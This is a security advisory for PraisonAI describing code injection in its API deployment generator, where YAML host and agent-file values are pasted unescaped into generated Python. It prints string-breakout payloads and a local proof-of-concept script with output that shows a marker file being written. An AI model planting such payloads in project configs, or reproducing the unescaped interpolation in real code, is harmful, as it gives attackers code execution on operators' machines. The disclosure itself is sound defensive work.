Résumé
PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source
Détails de l’avis
API deploy code generator embeds unescaped YAML fields into Python source
Summary
PraisonAI's API deployment generator copies deploy.api.host from agents.yaml directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds agents_file directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.
Technical Details
The vulnerable path starts with deployment configuration parsing. Deploy.from_yaml() reads the operator-supplied agents.yaml, validate_agents_yaml() accepts deploy.api.host as a string, and API deployments call start_api_server(self.agents_file, self.config.api). start_api_server() calls generate_api_server_code() and executes the generated Python file with python.
The current generator in src/praisonai/praisonai/deploy/api.py treats deployment data as Python syntax:
def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str:
...
code = f'''"""
...
praisonai = PraisonAI(agent_file="{agents_file}")
...
"agent_file": "{agents_file}"
...
app.run(
host='{config.host}',
port={config.port},
debug={config.reload}
)
'''
The violated invariant is that deployment configuration values should remain inert strings. Instead, config.host is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:
' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '
The generated startup code then becomes equivalent to:
app.run(
host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '',
port=8005,
debug=False,
)
That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.
agents_file has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as " + (<side effect> and "") + " remains valid both in PraisonAI(agent_file=...) and in the /agents JSON response expression, so it executes when the generated handler evaluates that value.
PoV
The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as __main__; it also includes a safe-host negative control and the secondary agents_file route-time interpolation check.
from pathlib import Path
import json
import sys
import tempfile
import types
import yaml
def install_stubs():
class FakeApp:
def __init__(self, name):
self.name = name
def route(self, *args, **kwargs):
def deco(func):
return func
return deco
def run(self, *args, **kwargs):
return None
flask = types.ModuleType("flask")
flask.Flask = FakeApp
flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"})
flask.jsonify = lambda obj: obj
sys.modules["flask"] = flask
flask_cors = types.ModuleType("flask_cors")
flask_cors.CORS = lambda app: app
sys.modules["flask_cors"] = flask_cors
praisonai_mod = types.ModuleType("praisonai")
class FakePraisonAI:
def __init__(self, agent_file):
self.agent_file = agent_file
def run(self):
return "ok"
praisonai_mod.PraisonAI = FakePraisonAI
sys.modules["praisonai"] = praisonai_mod
def main(repo):
sys.path.insert(0, str(Path(repo) / "src" / "praisonai"))
from praisonai.deploy.api import generate_api_server_code
from praisonai.deploy.models import APIConfig
from praisonai.deploy.schema import validate_agents_yaml
install_stubs()
with tempfile.TemporaryDirectory() as tmp:
tmp_path = Path(tmp)
host_marker = tmp_path / "host-marker.txt"
file_marker = tmp_path / "agent-file-marker.txt"
host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '"
agents_yaml = tmp_path / "agents.yaml"
agents_yaml.write_text(yaml.safe_dump({
"deploy": {
"type": "api",
"api": {"host": host_payload, "port": 8005, "auth_enabled": False},
},
"agents": [{"name": "demo", "role": "demo", "goal": "demo"}],
}))
parsed_config = validate_agents_yaml(str(agents_yaml))
results = []
for label, config in [
("safe_host", APIConfig(host="127.0.0.1", auth_enabled=False)),
("malicious_host_from_yaml", parsed_config.api),
]:
host_marker.unlink(missing_ok=True)
code = generate_api_server_code("agents.yaml", config)
compile(code, f"<generated-{label}>", "exec")
exec(code, {"__name__": "__main__"})
results.append({
"case": label,
"compiled": True,
"host_preserved_by_yaml_parser": config.host == host_payload if label.startswith("malicious") else None,
"marker_exists_after_startup": host_marker.exists(),
"marker_contents": host_marker.read_text() if host_marker.exists() else None,
"generated_contains_raw_host": config.host in code,
})
file_payload = "\" + (__import__(\"pathlib\").Path(" + repr(str(file_marker)) + ").write_text(\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\") and \"\") + \""
file_marker.unlink(missing_ok=True)
code = generate_api_server_code(file_payload, APIConfig(host="127.0.0.1", auth_enabled=False))
compile(code, "<generated-agent-file>", "exec")
namespace = {"__name__": "generated_agent_file"}
exec(code, namespace)
namespace["list_agents"]()
results.append({
"case": "malicious_agent_file_route_value",
"compiled": True,
"marker_exists_after_list_agents": file_marker.exists(),
"marker_contents": file_marker.read_text() if file_marker.exists() else None,
"generated_contains_raw_agent_file": file_payload in code,
})
print(json.dumps(results, indent=2))
return 0 if results[1]["marker_exists_after_startup"] and results[2]["marker_exists_after_list_agents"] else 1
if __name__ == "__main__":
raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else "."))
PoC
Command used against current source:
uv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI
Decisive output:
[
{
"case": "safe_host",
"compiled": true,
"host_preserved_by_yaml_parser": null,
"marker_exists_after_startup": false,
"marker_contents": null,
"generated_contains_raw_host": true
},
{
"case": "malicious_host_from_yaml",
"compiled": true,
"host_preserved_by_yaml_parser": true,
"marker_exists_after_startup": true,
"marker_contents": "DEPLOY_API_HOST_CODE_EXECUTED",
"generated_contains_raw_host": true
},
{
"case": "malicious_agent_file_route_value",
"compiled": true,
"marker_exists_after_list_agents": true,
"marker_contents": "DEPLOY_API_AGENT_FILE_CODE_EXECUTED",
"generated_contains_raw_agent_file": true
}
]
The safe_host negativ
Références
- https://github.com/advisories/GHSA-79fv-7hq9-w7xg
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-79fv-7hq9-w7xg
- https://nvd.nist.gov/vuln/detail/CVE-2026-61433
- https://nvd.nist.gov/vuln/detail/CVE-2026-62173
- https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0
- https://www.vulncheck.com/advisories/praisonai-before-code-injection-via-api-deployment-generator
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